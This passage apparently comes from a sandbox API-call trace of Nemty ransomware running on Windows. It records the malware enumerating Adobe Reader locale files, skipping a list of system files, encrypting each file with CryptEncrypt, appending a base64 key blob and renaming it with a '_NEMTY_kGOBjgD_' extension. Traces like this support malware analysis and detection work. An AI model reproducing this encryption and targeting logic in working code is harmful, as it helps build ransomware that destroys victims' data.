lpOverlapped=0x0) returned 1 [0186.515] CloseHandle (hObject=0x2e8) returned 1 [0186.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0186.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.515] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0186.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0186.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0186.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.515] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\IA32.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\ia32.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\IA32.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\ia32.cht._nemty_kgobjgd_")) returned 1 [0186.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0186.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0186.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0186.516] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="makeaccessible.CHT", cAlternateFileName="MAKEAC~1.CHT")) returned 1 [0186.516] lstrcmpiW (lpString1="makeaccessible.CHT", lpString2=".") returned 1 [0186.516] lstrcmpiW (lpString1="makeaccessible.CHT", lpString2="..") returned 1 [0186.516] lstrcmpiW (lpString1="makeaccessible.CHT", lpString2="...") returned 1 [0186.516] lstrcmpiW (lpString1="makeaccessible.CHT", lpString2="windows") returned -1 [0186.516] lstrcmpiW (lpString1="makeaccessible.CHT", lpString2="$RECYCLE.BIN") returned 1 [0186.516] lstrcmpiW (lpString1="makeaccessible.CHT", lpString2="rsa") returned -1 [0186.516] lstrcmpiW (lpString1="makeaccessible.CHT", lpString2="NTDETECT.COM") returned -1 [0186.516] lstrcmpiW (lpString1="makeaccessible.CHT", lpString2="ntldr") returned -1 [0186.516] lstrcmpiW (lpString1="makeaccessible.CHT", lpString2="MSDOS.SYS") returned -1 [0186.516] lstrcmpiW (lpString1="makeaccessible.CHT", lpString2="IO.SYS") returned 1 [0186.517] lstrcmpiW (lpString1="makeaccessible.CHT", lpString2="boot.ini") returned 1 [0186.517] lstrcmpiW (lpString1="makeaccessible.CHT", lpString2="boot.ini") returned 1 [0186.517] lstrcmpiW (lpString1="makeaccessible.CHT", lpString2="AUTOEXEC.BAT") returned 1 [0186.517] lstrcmpiW (lpString1="makeaccessible.CHT", lpString2="ntuser.dat") returned -1 [0186.517] lstrcmpiW (lpString1="makeaccessible.CHT", lpString2="desktop.ini") returned 1 [0186.517] lstrcmpiW (lpString1="makeaccessible.CHT", lpString2="CONFIG.SYS") returned 1 [0186.517] lstrcmpiW (lpString1="makeaccessible.CHT", lpString2="RECYCLER") returned -1 [0186.517] lstrcmpiW (lpString1="makeaccessible.CHT", lpString2="BOOTSECT.BAK") returned 1 [0186.517] lstrcmpiW (lpString1="makeaccessible.CHT", lpString2="bootmgr") returned 1 [0186.517] lstrcmpiW (lpString1="makeaccessible.CHT", lpString2="programdata") returned -1 [0186.517] lstrcmpiW (lpString1="makeaccessible.CHT", lpString2="appdata") returned 1 [0186.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0186.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CHT", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0186.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CHT", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.CHT", lpUsedDefaultChar=0x0) returned 18 [0186.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0186.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CHT", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0186.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CHT", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.CHT", lpUsedDefaultChar=0x0) returned 18 [0186.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0186.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0186.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0186.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CHT", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0186.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CHT", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.CHT", lpUsedDefaultChar=0x0) returned 18 [0186.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0186.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0186.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CHT", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0186.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CHT", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.CHT", lpUsedDefaultChar=0x0) returned 18 [0186.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0186.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0186.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0186.518] Sleep (dwMilliseconds=0x5) [0186.527] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22d35d90, dwHighDateTime=0x1d561e8)) [0186.527] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22d35d90, dwHighDateTime=0x1d561e8)) [0186.527] GetLastError () returned 0x0 [0186.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.527] GetLastError () returned 0x0 [0186.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0186.527] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.528] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.528] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0186.528] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="ys+0hPFpKmz4FjgvEB1Xr0m9CvpD2KDbKkeg8qVCa7+v4Tii4xRH6pI4gTqDMwD0\r\nAZSyAsm5vn8Ym4JVZyq7mFwBfOirxf+DXQx7h0O4z1lZaV+DVHWC/laUqEam2HC6\r\nnnU35o8o3doQNqBjp6FKr7FLatvZNnyR3LZMeuulr5/YetnhkJz34Udwsd1veVUo\r\n50aO8BKUcZ8vb8SZmxw/0vzNmWGfSkJvNaPBWKagTBR94Qg9CkHDMWyO7QOSvycS\r\n7/xYZHW2OwGPDl6JQdHVoeCGJSgwOujC/hJZ5CH307ROh87TwFgvWEfmZp2bdp2F\r\n2Ig5ZodTPxSqgi9yJ7ICQg==\r\n", pcchString=0x653e5dc) returned 1 [0186.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0186.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0186.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.528] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\makeaccessible.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\makeaccessible.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.528] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=37888) returned 1 [0186.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9400) returned 0x6352c48 [0186.528] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.528] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x9400, lpOverlapped=0x0) returned 1 [0186.532] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.532] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x9400, lpOverlapped=0x0) returned 1 [0186.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.532] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=37888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9400 [0186.532] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.533] CloseHandle (hObject=0x2e8) returned 1 [0186.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0186.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0186.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0186.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0186.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0186.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0186.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0186.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0186.533] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\makeaccessible.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\makeaccessible.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\makeaccessible.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\makeaccessible.cht._nemty_kgobjgd_")) returned 1 [0186.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0186.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0186.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.534] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d618a80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xda00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.CHT", cAlternateFileName="MULTIM~1.CHT")) returned 1 [0186.534] lstrcmpiW (lpString1="Multimedia.CHT", lpString2=".") returned 1 [0186.534] lstrcmpiW (lpString1="Multimedia.CHT", lpString2="..") returned 1 [0186.534] lstrcmpiW (lpString1="Multimedia.CHT", lpString2="...") returned 1 [0186.534] lstrcmpiW (lpString1="Multimedia.CHT", lpString2="windows") returned -1 [0186.534] lstrcmpiW (lpString1="Multimedia.CHT", lpString2="$RECYCLE.BIN") returned 1 [0186.534] lstrcmpiW (lpString1="Multimedia.CHT", lpString2="rsa") returned -1 [0186.534] lstrcmpiW (lpString1="Multimedia.CHT", lpString2="NTDETECT.COM") returned -1 [0186.534] lstrcmpiW (lpString1="Multimedia.CHT", lpString2="ntldr") returned -1 [0186.534] lstrcmpiW (lpString1="Multimedia.CHT", lpString2="MSDOS.SYS") returned 1 [0186.534] lstrcmpiW (lpString1="Multimedia.CHT", lpString2="IO.SYS") returned 1 [0186.534] lstrcmpiW (lpString1="Multimedia.CHT", lpString2="boot.ini") returned 1 [0186.534] lstrcmpiW (lpString1="Multimedia.CHT", lpString2="boot.ini") returned 1 [0186.534] lstrcmpiW (lpString1="Multimedia.CHT", lpString2="AUTOEXEC.BAT") returned 1 [0186.534] lstrcmpiW (lpString1="Multimedia.CHT", lpString2="ntuser.dat") returned -1 [0186.534] lstrcmpiW (lpString1="Multimedia.CHT", lpString2="desktop.ini") returned 1 [0186.534] lstrcmpiW (lpString1="Multimedia.CHT", lpString2="CONFIG.SYS") returned 1 [0186.534] lstrcmpiW (lpString1="Multimedia.CHT", lpString2="RECYCLER") returned -1 [0186.534] lstrcmpiW (lpString1="Multimedia.CHT", lpString2="BOOTSECT.BAK") returned 1 [0186.534] lstrcmpiW (lpString1="Multimedia.CHT", lpString2="bootmgr") returned 1 [0186.534] lstrcmpiW (lpString1="Multimedia.CHT", lpString2="programdata") returned -1 [0186.534] lstrcmpiW (lpString1="Multimedia.CHT", lpString2="appdata") returned 1 [0186.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CHT", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0186.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CHT", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.CHT", lpUsedDefaultChar=0x0) returned 14 [0186.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CHT", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0186.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CHT", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.CHT", lpUsedDefaultChar=0x0) returned 14 [0186.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CHT", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0186.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CHT", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.CHT", lpUsedDefaultChar=0x0) returned 14 [0186.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CHT", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0186.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CHT", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.CHT", lpUsedDefaultChar=0x0) returned 14 [0186.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0186.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.535] Sleep (dwMilliseconds=0x5) [0186.543] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22d5bef0, dwHighDateTime=0x1d561e8)) [0186.543] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22d5bef0, dwHighDateTime=0x1d561e8)) [0186.543] GetLastError () returned 0x0 [0186.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.543] GetLastError () returned 0x0 [0186.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.543] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.543] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.543] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0186.543] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="eSsfaLU50i8phxeauBmiOZj/m9sTWVgiwqdkdxblJ46RM+91H3Qp6RJGCMgwrZsy\r\n39f+Y98VfNidO+yerhYz7e5jH3Q+K2nRlSSijbsYqbcjV3GTlk05JSOK918i8XL0\r\nsBtCt/zwvZWTGsU+7tUtvz5vUryvDlNhWZMHhyEPDmVk6ORAmFghIjSJrwBvll8s\r\niwbXJcuhuXMV40M7/ZurQsbKD12Njh0IwWgDmH0OZjaCrW86YdEoYPd1VGgkVNVV\r\nY6PEv94HYvycaD7KG7pH+lSvh6ePCJCOKrgpWLdah4H2j6DXN2XRaQ/byNY7UDRC\r\nFGRSQ2qR1b4SSr/nzS+IOw==\r\n", pcchString=0x653e5dc) returned 1 [0186.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0186.543] RtlAllocateHeap 